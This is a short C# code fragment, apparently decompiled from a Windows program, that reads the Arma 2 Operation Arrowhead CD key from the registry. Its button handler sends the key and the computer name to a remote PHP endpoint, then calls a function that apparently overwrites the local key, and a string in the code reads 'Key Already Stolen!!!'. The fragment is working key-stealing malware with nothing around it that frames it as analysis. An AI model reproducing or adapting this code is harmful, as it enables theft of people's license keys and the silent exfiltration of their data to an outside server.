private string GetKey64() { RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Wow6432Node\\Bohemia Interactive Studio\\ArmA 2 OA", true); if (registryKey == null || !Enumerable.Contains<string>((IEnumerable<string>) registryKey.GetValueNames(), "Key")) return "Key Already Stolen!!!"; else return BitConverter.ToString((byte[]) registryKey.GetValue("Key")); } private string GetKey() { RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("Software\\Bohemia Interactive Studio\\Arma 2 OA", true); if (registryKey == null || !Enumerable.Contains<string>((IEnumerable<string>) registryKey.GetValueNames(), "KEY")) return this.GetKey64(); else return BitConverter.ToString((byte[]) registryKey.GetValue("KEY")); } private void Form1_Button1(object sender, EventArgs e) { WebRequest.Create("http://www.safekeys.theghettogames.info/keys.php?w= 207 PC NAME : " + Interaction.Environ("computername") + " Key : " + this.GetKey()).GetResponse(); this.SetKey(); }